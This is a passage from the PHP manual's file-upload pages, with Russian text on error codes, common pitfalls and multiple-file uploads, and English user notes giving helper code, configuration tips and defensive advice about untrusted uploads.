            [type] => application/msword
            [tmp_name] => /tmp/path/phpVGCDAJ
            [error] => 0
            [size] => 0
        )
)

Multi-files with HTML array feature -

Array
(
    [documents] => Array
        (
            [name] => Array
                (
                    [0] => sample-file.doc
                    [1] => sample-file.doc
                )

            [type] => Array
                (
                    [0] => application/msword
                    [1] => application/msword
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/path/phpVGCDAJ
                    [1] => /tmp/path/phpVGCDAJ
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 0
                    [1] => 0
                )

        )

)

The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array.

<?php

    function normalize_files_array($files = []) {

        $normalized_array = [];

        foreach($files as $index => $file) {

            if (!is_array($file['name'])) {
                $normalized_array[$index][] = $file;
                continue;
            }

            foreach($file['name'] as $idx => $name) {
                $normalized_array[$index][$idx] = [
                    'name' => $name,
                    'type' => $file['type'][$idx],
                    'tmp_name' => $file['tmp_name'][$idx],
                    'error' => $file['error'][$idx],
                    'size' => $file['size'][$idx]
                ];
            }

        }

        return $normalized_array;

    }

?>

The following is the output from the above method.

Array
(
    [document] => Array
        (
            [0] => Array
                (
                [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

    [documents] => Array
        (
            [0] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

            [1] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

)
anon 08-Jul-2015 10:19
For clarity; the reason you would NOT want to replace the example script with
$uploaddir = './';
is because if you have no coded file constraints a nerd could upload a php script with the same name of one of your scripts in the scripts directory.

Given the right settings and permissions php-cgi is capable of replacing even php files.

Imagine if it replaced the upload post processor file itself. The next "upload" could lead to some easy exploits.

Even when replacements are not possible; uploading an .htaccess file could cause some problems, especially if it is sent after the nerd throws in a devious script to use htaccess to redirect to his upload.

There are probably more ways of exploiting it. Don't let the nerds get you.

More sensible to use a fresh directory for uploads with some form of unique naming algorithm; maybe even a cron job for sanitizing the directory so older files do not linger for too long.
bimal at sanjaal dot com 26-Dec-2014 11:44
Some suggestions here:

1. It is always better to check for your error status. If MAX_FILE_SIZE is active and the uploaded file crossed the limit, it will set the error. So, only when error is zero (0), move the file.

2. If possible, never allow your script to upload in the path where file can be downloaded. Point your upload path to outside of public_html area or prevent direct browsing (using .htaccess restrictions). Think, if someone uploads malicious code, specially php codes, they will be executed on the server.

3. Do not use the file name sent by the client. Regenerate a new name for newly uploaded file. This prevents overwriting your old files.

4. Regularly track the disk space consumed, if you are running out of storage.
Age Bosma 10-Jun-2011 02:49
"If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none."

Note that the situation above is the same when a file exceeding the MAX_FILE_SIZE hidden field is being uploaded. In this case $_FILES['userfile']['size'] is also set to 0, and $_FILES['userfile']['tmp_name'] is also empty. The difference would only be the error code.
Simply checking for these two conditions and assuming no file upload has been attempted is incorrect.

Instead, check if $_FILES['userfile']['name'] is set or not. If it is, a file upload has at least been attempted (a failed attempt or not). If it is not set, no attempt has been made.
Mark 29-Sep-2010 04:12
$_FILES will be empty if a user attempts to upload a file greater than post_max_size in your php.ini

post_max_size should be >= upload_max_filesize in your php.ini.
daevid at daevid dot com 11-Jun-2009 02:35
I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpn3FmFr
            [error] => 0
            [size] => 15476
        )

    [1] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] =>
        )
)

and not this
Array
(
    [name] => Array
        (
            [0] => facepalm.jpg
            [1] =>
        )

    [type] => Array
        (
            [0] => image/jpeg
            [1] =>
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpn3FmFr
            [1] =>
        )

    [error] => Array
        (
            [0] => 0
            [1] => 4
        )

    [size] => Array
        (
            [0] => 15476
            [1] => 0
        )
)

Anyways, here is a fuller example than the sparce one in the documentation above:

<?php
foreach ($_FILES["attachment"]["error"] as $key => $error)
{
       $tmp_name = $_FILES["attachment"]["tmp_name"][$key];
       if (!$tmp_name) continue;

       $name = basename($_FILES["attachment"]["name"][$key]);

    if ($error == UPLOAD_ERR_OK)
    {
        if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
            $uploaded_array[] .= "Uploaded file '".$name."'.<br/>\n";
        else
            $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'<br/>\n";
    }
    else $errormsg .= "Upload error. [".$error."] on file '".$name."'<br/>\n";
}
?>
eslindsey at gmail dot com 29-Mar-2009 11:09
Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side.  You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.  This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).
claude dot pache at gmail dot com 19-Mar-2009 09:26
Note that the MAX_FILE_SIZE hidden field is only used by the PHP script which receives the request, as an instruction to reject files larger than the given bound. This field has no significance for the browser, it does not provide a client-side check of the file-size, and it has nothing to do with web standards or browser features.


Объяснение сообщений об ошибках

PHP возвращает код ошибки наряду с другими атрибутами принятого файла. Он расположен в массиве, создаваемом PHP при загрузке файла, и может быть получен при обращении по ключу error. Другими словами, код ошибки можно найти в $_FILES['userfile']['error'].

UPLOAD_ERR_OK

Значение: 0; Ошибок не возникло, файл был успешно загружен на сервер.

UPLOAD_ERR_INI_SIZE

Значение: 1; Размер принятого файла превысил максимально допустимый размер, который задан директивой upload_max_filesize конфигурационного файла php.ini.

UPLOAD_ERR_FORM_SIZE

Значение: 2; Размер загружаемого файла превысил значение MAX_FILE_SIZE, указанное в HTML-форме.

UPLOAD_ERR_PARTIAL

Значение: 3; Загружаемый файл был получен только частично.

UPLOAD_ERR_NO_FILE

Значение: 4; Файл не был загружен.

UPLOAD_ERR_NO_TMP_DIR

Значение: 6; Отсутствует временная папка.

UPLOAD_ERR_CANT_WRITE

Значение: 7; Не удалось записать файл на диск.

UPLOAD_ERR_EXTENSION

Значение: 8; Модуль PHP остановил загрузку файла. PHP не предоставляет способа определить, какой модуль остановил загрузку файла; в этом может помочь просмотр списка загруженных модулей с помощью phpinfo().

User Contributed Notes

Sohaib Essam 16-Jun-2023 08:35
switch ($_FILES["image"]["error"]) {
        case UPLOAD_ERR_PARTIAL:
            exit('File only partially uploaded');
            break;
        case UPLOAD_ERR_NO_FILE:
            exit('No file was uploaded');
            break;
        case UPLOAD_ERR_EXTENSION:
            exit('File upload stopped by a PHP extension');
            break;
        case UPLOAD_ERR_FORM_SIZE:
            exit('File exceeds MAX_FILE_SIZE in the HTML form');
            break;
        case UPLOAD_ERR_INI_SIZE:
            exit('File exceeds upload_max_filesize in php.ini');
            break;
        case UPLOAD_ERR_NO_TMP_DIR:
            exit('Temporary folder not found');
            break;
        case UPLOAD_ERR_CANT_WRITE:
            exit('Failed to write file');
            break;
        default:
            exit('Unknown upload error');
            break;
    }
jalcort at att dot net 07-Feb-2020 03:57
When uploading a file, it is common to visit the php.ini and set up upload_tmp_dir = /temp but in the case of some web hostess as fatcow you need to direct not only /tmp but upload_tmp_dir = /hermes/walnaweb13a/b345/moo.youruser/tmp

If not the $_FILES show you an error #6 "Missing a temporary folder
admin at compumatter dot com 14-Dec-2019 07:42
We use this function to handle file uploads.

Since $_FILES allows for more than a single file, this loops through each file and if there's an error, it is displayed in human readable language to the error log and then returned / exited.  You can adjust that to echo's if preferred:

function file_upload_test($messageBefore="CM FILE UPLOAD MESSAGE"){
    global $_FILES;
    # a single file limit
    $upload_max_size = ini_get('upload_max_filesize');
    # the combination of a batch o multiple files
    $post_max_size = ini_get('post_max_size');
    # array of possible fails which are retuned below in if $key=error section
    $phpFileUploadErrors = array(
        0 => 'There is no error, the file uploaded with success',
        1 => 'Exceeds php.ini upload_max_filesize of '.$upload_max_size.'MB',
        2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
        3 => 'The uploaded file was only partially uploaded',
        4 => 'No file was uploaded',
        6 => 'Missing a temporary folder',
        7 => 'Failed to write file to disk.',
        8 => 'A PHP extension stopped the file upload.',
    );

    error_log("========================================");
    error_log("$messageBefore");
    error_log("========================================");
    foreach ($_FILES['cmmediabrowsedfor'] as $key => $value) {
       ${$key}=$value;
       error_log('$_FILES ['.$key.'] = ['.$value.']');
       if(is_array($value)){
            foreach ($value as $key2 => $value2) {
                error_log('   >   $_FILES ['.$key.']['.$key2.'] = '.$value2);
                if($key=='error'){
                     error_log('   ******* CM Failed Upload: '.$phpFileUploadErrors[$value2]);
                     error_log('           Exit / Return in plugins/cm-alpha/php/images/img-create-tmp.php');
                     error_log(' ');
                     exit;
                }
            }
       }
    }
    if(!file_exists($_FILES["cmmediabrowsedfor"]["tmp_name"][0]) || !is_uploaded_file($_FILES["cmmediabrowsedfor"]["tmp_name"][0])) {
        error_log("NO FILE GOT UPLOADED ");
    } else {
        error_log("SUCCESS FILE GOT UPLOADED ");
    }
}
roger dot vermeir at nokia dot com 17-Sep-2018 03:51
Just found out that it is very important to define the
input type="hidden" name="MAX_FILE_SIZE" value=...
AFTER defining the input type="FILE" name=...
in your html/php.
If you swap them around, you will keep getting the filesize exceeded (error 2)!
Hope this helps.
Roger
roland at REMOVE_ME dot mxchange dot org 22-Mar-2018 05:03
I have expanded @adam at gotlinux dot us's example a bit with proper UPLOAD_FOO constants and gettext support. Also UPLOAD_ERR_EXTENSION is added (was missing in his version). Hope this helps someone.

<?php
class Some {
    /**
     * Upload error codes
     * @var array
     */
    private static $upload_errors = [];

    public function __construct() {
        // Init upload errors
        self::$upload_errors = [
            UPLOAD_ERR_OK => _('There is no error, the file uploaded with success.'),
            UPLOAD_ERR_INI_SIZE => _('The uploaded file exceeds the upload_max_filesize directive in php.ini.'),
            UPLOAD_ERR_FORM_SIZE => _('The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'),
            UPLOAD_ERR_PARTIAL => _('The uploaded file was only partially uploaded.'),
            UPLOAD_ERR_NO_FILE => _('No file was uploaded.'),
            UPLOAD_ERR_NO_TMP_DIR => _('Missing a temporary folder.'),
            UPLOAD_ERR_CANT_WRITE => _('Cannot write to target directory. Please fix CHMOD.'),
            UPLOAD_ERR_EXTENSION => _('A PHP extension stopped the file upload.'),
        ];
    }
}
?>
viseth10 at gmail dot com 21-Aug-2017 01:31
[Well just a little note. ]
That UploadException class example posted on top by anonymous is great. It works good. But there is a certain problem. You know there are two sides to generating errors.
First -> for the client side.
Second -> for the developers who will use your script

But i see only one side to generating Exceptions. ie For the developers.

Why ? Because when you generate an Exception, your script will come to an halt and do whatever you have defined in catch clause.
Now you dont want any client to see the Exception, do you ? I will not. The client will want to know what error occured in simple words they can understand instead of wanting their web app crashed if upload fails. So,  dont generate exceptions. These errors should be collected and shown to client in an elegant way. That's a little advice.
Keep developing smarter.
Tom 05-Jan-2015 03:29
As it is common to use move_uploaded_file with file uploads, how to get it's error messages should be noted here (especially since it's not noted anywhere else in the manual).
Common code is to do something like:
 if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!!</P>";
      print_r(error_get_last());
   }
rlerne at gmail dot com 26-Sep-2014 09:11
This updates "adam at gotlinux dot us" above and makes it version aware, and also adds newer constants to the array.

The reason we want to check the version is that the constants are not defined in earlier versions, and they appear later in the array. They would effectively overwrite the "0" index (no error) with an error message when the file actually uploaded fine.

It also drops the constant's value (0,1,2, etc) for the errors, in the likely event that they are changed later (the code should still work fine).

<?php

$upload_errors = array(
    0                        => "There is no error, the file uploaded with success"
    ,UPLOAD_ERR_INI_SIZE    => "The uploaded file exceeds the upload_max_filesize directive in php.ini"
    ,UPLOAD_ERR_FORM_SIZE    => "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
    ,UPLOAD_ERR_PARTIAL        => "The uploaded file was only partially uploaded"
    ,UPLOAD_ERR_NO_FILE        => "No file was uploaded"
);

if (version_compare(PHP_VERSION, '5.0.3') >= 0)
    $upload_errors[UPLOAD_ERR_NO_TMP_DIR] = "Missing a temporary folder";

if (version_compare(PHP_VERSION, '5.1.0') >= 0)
    $upload_errors[UPLOAD_ERR_CANT_WRITE] = "Failed to write to disk";

if (version_compare(PHP_VERSION, '5.2.0') >= 0)
    $upload_errors[UPLOAD_ERR_EXTENSION] = "File upload stopped by extension";
?>
Viktor 17-Sep-2014 09:14
Update to Adams old comment.

This is probably useful to someone.

<?php

$phpFileUploadErrors = array(
    0 => 'There is no error, the file uploaded with success',
    1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
    2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
    3 => 'The uploaded file was only partially uploaded',
    4 => 'No file was uploaded',
    6 => 'Missing a temporary folder',
    7 => 'Failed to write file to disk.',
    8 => 'A PHP extension stopped the file upload.',
);
Jeff Miner mrjminer AT gmail DOT com 10-Aug-2010 01:32
One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space.  Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context.

So, instead of this:
-----
<?php
if($_FILES['userfile']['error']) {
  // handle the error
} else {
  // process
}
?>
-----
You have to do this:
-----
<?php
if($_FILES['userfile']['error']==0) {
  // process
} else {
  // handle the error
}
?>
-----
Also, ctype_digit fails, but is_int works.  If you're wondering... no, it doesn't make any sense.

To Schoschie:

You ask the question:  Why make stuff complicated when you can make it easy?  I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement.  In a loop, that would be deadly... try this instead:

-----
<?php
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);

// Outside a loop...
if($_FILES['userfile']['error']==0) {
  // process
} else {
  $error_message = $error_types[$_FILES['userfile']['error']];
  // do whatever with the error message
}

// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
  if($_FILES['userfile']['error'][$x]==0) {
    // process
  } else {
    $error_message = $error_types[$_FILES['userfile']['error'][$x]];
    // Do whatever with the error message
  }
}

// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
Tom 09-Aug-2010 03:06
Note: something that might surprise you, PHP also provides a value in the $_FILES array, if the input element has no value at all, stating an error UPLOAD_ERR_NO_FILE.

So UPLOAD_ERR_NO_FILE is not an error, but a note that the input element just had no value. Thus you can't rely on the $_FILES array to see if a file was provided. Instead you have to walk the array and check every single damn entry - which can be quite difficult since the values may be nested if you use input elements named like "foo[bar][bla]".

Seems like PHP just introduced you to yet another common pitfall.
jille at quis dot cx 24-May-2009 08:12
UPLOAD_ERR_PARTIAL is given when the mime boundary is not found after the file data. A possibly cause for this is that the upload was cancelled by the user (pressed ESC, etc).
Anonymous 04-Mar-2009 06:32
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

This is a handy exception to use when handling upload errors:

<?php

class UploadException extends Exception
{
    public function __construct($code) {
        $message = $this->codeToMessage($code);
        parent::__construct($message, $code);
    }

    private function codeToMessage($code)
    {
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE:
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break;
            case UPLOAD_ERR_PARTIAL:
                $message = "The uploaded file was only partially uploaded";
                break;
            case UPLOAD_ERR_NO_FILE:
                $message = "No file was uploaded";
                break;
            case UPLOAD_ERR_NO_TMP_DIR:
                $message = "Missing a temporary folder";
                break;
            case UPLOAD_ERR_CANT_WRITE:
                $message = "Failed to write file to disk";
                break;
            case UPLOAD_ERR_EXTENSION:
                $message = "File upload stopped by extension";
                break;

            default:
                $message = "Unknown upload error";
                break;
        }
        return $message;
    }
}

// Use
 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
info at foto50 dot com 03-Jul-2007 02:03
For those reading this manual in german (and/or probably some other languages) and you miss error numbers listed here, have a look to the english version of this page ;)
belowtherim2000 at yahoo dot com 20-Jun-2007 06:25
I've been playing around with the file size limits and with respect to the post_max_size setting, there appears to be a hard limit of 2047M.  Any number that you specify above that results in a failed upload without any informative error describing what went wrong.  This happens regardless of how small the file you're uploading may be.  On error, my page attempts to output the name of the original file.  But what I discovered is that this original file name, which I maintained in a local variable, actually gets corrupted.  Even my attempt to output the error code in $_FILES['uploadedfiles']['error'] returns an empty string/value.

Hopefully, this tidbit will save someone else some grief.
svenr at selfhtml dot org 23-Apr-2007 03:15
Clarification on the MAX_FILE_SIZE hidden form field and the UPLOAD_ERR_FORM_SIZE error code:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
web att lapas dott id dott lv 23-Feb-2007 05:49
1. And what about multiple file upload ? - If there is an UPLOAD_ERR_INI_SIZE error with multiple files - we can`t detect it normaly ? ...because that we have an array, but this error returns null and can`t use foreach. So, by having a multiple upload, we can`t normaly inform user about that.. we can just detect, that sizeof($_FILES["file"]["error"]) == 0 , but we can`t actualy return an error code. The max_file_size also is not an exit, becouse it refers on each file seperatly, but upload_max_filesize directive in php.ini refers to all files together. So, for example, if upload_max_filesize=8Mb , max_file_size = 7Mb and one of my files is 6.5Mb and other is 5Mb, it exeeds the upload_max_filesize - cant return an error, becouse we don`t know where to get that error.
Unfortunately we cannot get the file sizes on client side, even AJAX normaly can`t do that.

2. If in file field we paste something, like, D:\whatever , then there also isn`t an error to return in spite of that no such file at all.
stephen at poppymedia dot co dot uk 26-Sep-2005 03:05
if post is greater than post_max_size set in php.ini

$_FILES and $_POST will return empty
adam at gotlinux dot us 27-May-2005 07:28
This is probably useful to someone.

<?php
array(
        0=>"There is no error, the file uploaded with success",
        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
        3=>"The uploaded file was only partially uploaded",
        4=>"No file was uploaded",
        6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu 15-Feb-2005 07:13
I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no 27-Jan-2005 04:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer 26-Nov-2004 06:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org 03-Nov-2004 07:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

<?php
if($_FILES["file_id"]["size"]  == 0)
{
         // ...PROCESS ERROR
}
?>


Наиболее распространённые ошибки

Опция MAX_FILE_SIZE не должна позволять передачу файлов, размер которых превышает лимит, установленный конфигурационной директивой upload_max_filesize в php.ini. Ограничение по умолчанию составляет 2 мегабайта.

В случае, если установлены ограничения памяти, вам может понадобиться увеличить значение опции memory_limit. Убедитесь в том, что значение memory_limit достаточно велико.

В случае, если опция max_execution_time установлена слишком маленьким значением, необходимое время работы скрипта может превышать это значение. Убедитесь в том, что значение max_execution_time достаточно велико.

Замечание: Директива max_execution_time касается исключительно времени, используемого непосредственно самим скриптом. Время, потраченное на внешние действия, такие как системные вызовы при помощи функции system() или sleep(), обращения к базе данных, а также время, потраченное на загрузку файла и другие действия, происходящие вне скрипта, не учитываются при определении максимально допустимого промежутка времени, отведённого для выполнения скрипта.

Внимание

Директива max_input_time указывает максимально допустимое время в секундах для получения входящих данных, в том числе и загружаемых файлов. В случае, если вы имеете дело с несколькими или большими файлами, либо удалённые пользователи используют медленный канал, ограничение по умолчанию в 60 секунд может быть превышено.

Если директива post_max_size слишком мала, большие файлы не смогут быть загружены на сервер. Убедитесь, что значение директивы post_max_size достаточно велико.

Опция max_file_uploads контролирует максимальное количество загружаемых файлов в течение одного запроса. Если загружается большее количество файлов, чем указано в этом ограничении, то массив $_FILES прекратит дальнейшую обработку файлов по достижении этого ограничения. Например, если max_file_uploads установлено в 10, то $_FILES никогда не будет содержать больше 10 элементов.

Если не проверять, с какими файлами вы работаете, пользователи могут получить доступ к конфиденциальной информации, расположенной в других директориях.

Поскольку разные системы по-разному работают с файловой структурой, нет никаких гарантий того, что файлы с экзотическими именами (например, которые содержат пробельные символы) будут обработаны корректно.

Разработчики не должны использовать одинаковые имена для обычных полей ввода (тег input) и полей выбора файла в пределах одной и той же формы (например, используя имя для тега input наподобие foo[]).

User Contributed Notes

bohwaz 14-Sep-2022 09:06
Please be advised that setting a large post_max_size or upload_max_filesize for a complete server or a complete virtual host is not a good idea as it may lead to increased security risks.

The risk is that an attacker may send very large POST requests and overloading your server memory and CPU as it has to parse and process those requests before handling them to your PHP script.

So it's best to limit changing this setting to some files or directories. For example if I want to /admin/files/ and /admin/images/ I can use:

<If "%{REQUEST_URI} =~ m!^/admin/(files|images)/! && -n %{HTTP_COOKIE}">
    php_value post_max_size 256M
    php_value upload_max_filesize 256M
</If>

I also require the request to have a cookie to avoid basic attacks. This will not protect you against attacks coming from non-authenticated users, but may delay any attack.

This setting can be used in Apache server configuration files, and .htaccess files as well.
adrien.nizon+phpnet at gmail dot com 09-Sep-2016 07:48
[Editor's note: to be more precise, MAX_FILE_SIZE can't exceed PHP_INT_MAX before PHP 7.1.]

Please note that the field MAX_FILE_SIZE cannot exceed 2147483647. Any greater value will lead to an upload error that will be displayed at the end of the upload

This is explained by the related C code :
if (!strcasecmp(param, "MAX_FILE_SIZE")) {
    max_file_size = atol(value);
}

The string is converted into a long int, which max value is... 2147483647

Seems to be corrected since php-7.1.0beta3 (https://github.com/php/php-src/commit/cb4c195f0b85ca5d91fee1ebe90105b8bb68356c)
Nirmal Natarajan 11-Dec-2009 08:23
If using IIS 7.0 or above, the Request Filtering is enabled by default and the max allowed content length is set to 30 MB.

One must change this value if they want to allow file uploads of more than 30 MB.

Sample web.config entry:

<configuration>
    </system.webServer>
        <security>
            <requestFiltering>
                <requestLimits maxAllowedContentLength="314572800"/>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

The above setting will allow 300 MB of data to be sent as a request. Hope this helps someone.
dg at artegic dot de 06-Dec-2009 11:57
In case of non-deterministic occurence of the UPLOAD_ERR_PARTIAL error:  The HTTPD (e.g. Apache) should respond with a 'Accept-Ranges: none' header field.
anders jenbo pc dk 02-Oct-2007 03:22
A responce to admin at creationfarm dot com, Mac OS X and Windows running on a NTFS disk also uses a multi stream file system. Still only the data stream in transfared on http upload. It is preferable to pack Mac OS X files in .dmg files rathere then zip but the avarage user will find zip much easir and they are supported on more platforms.
oliver dot schmidt at drehsinn dot de 09-Dec-2006 10:02
If you want to use open_basedir for securing your server (which is highly recommended!!!) remember to add your tmp dir to the open_basedir value in php.ini.

Example: open_basedir = <your htdocs root, etc...>:/tmp

(Tested on gentoo Linux, Apache 2.2, PHP 5.1.6)
tjaart at siam-data-services dot com 22-May-2005 01:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
    // Process File and the redirect...
    header("location: http://"..."/somewhere.php");
    exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="20000">
    Your file: <input name="filename" type="file">
    <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com 11-Aug-2004 02:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk 21-Oct-2003 09:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com 09-Jun-2003 06:59
For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch 28-Apr-2003 03:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com 04-Feb-2003 08:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.


Загрузка нескольких файлов

Загрузку нескольких файлов можно реализовать используя, например, различные значения name для тега input.

Также можно одновременно загружать несколько файлов и автоматически получить их в виде массива. Для реализации такой возможности используйте тот же синтаксис массива в HTML-форме, что и для множественных полей select и checkbox:

Пример #1 Загрузка нескольких файлов

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Файлы:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Отправить" />
</form>

В случае, если такая форма была отправлена, массивы $_FILES['userfile'], $_FILES['userfile']['name'], и $_FILES['userfile']['size'] будут инициализированы.

Например, предположим, что были загружены файлы /home/test/review.html и /home/test/xwp.out. В таком случае переменная $_FILES['userfile']['name'][0] будет установлена значением review.html, а переменная $_FILES['userfile']['name'][1] - значением xwp.out. Аналогично, переменная $_FILES['userfile']['size'][0] будет содержать размер файла review.html и так далее.

Переменные $_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0] и $_FILES['userfile']['type'][0] также будут инициализированы.

Внимание

Конфигурационная директива max_file_uploads регулирует лимит одновременно загружаемых файлов в течение одного запроса. Вам необходимо будет убедиться, что ваша форма не пытается загрузить файлов больше этого лимита за один запрос.

Пример #2 Загрузка всего каталога

В полях загрузки HTML-файла можно загрузить весь каталог с помощью атрибута webkitdirectory. Он поддерживается большинством современных браузеров.

С помощью информации full_path можно сохранить относительные пути или восстановить тот же каталог на сервере.

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Загрузка каталога:<br />
  <input name="userfile[]" type="file" webkitdirectory multiple />
  <input type="submit" value="Загрузить файлы" />
</form>
Внимание

Атрибут webkitdirectory нестандартен и не входит в стандартную поставку. Не используйте его на рабочих сайтах: он работает не у всех пользователей. Между реализациями также может быть большая несовместимость, также поведение может измениться в будущем.

PHP анализирует только информацию об относительном пути, отправленную браузером/пользовательским агентом и передаёт эту информацию в массив $_FILES. Нет никакой гарантии, что значения в массиве full_path содержат реальную структуру каталогов и приложение PHP не должно доверять этой информации.

User Contributed Notes

steam dot bakyt2 at gmail dot com 07-Nov-2023 08:29
Just combine temporary path with the filename which will result an array like:

array(2) {
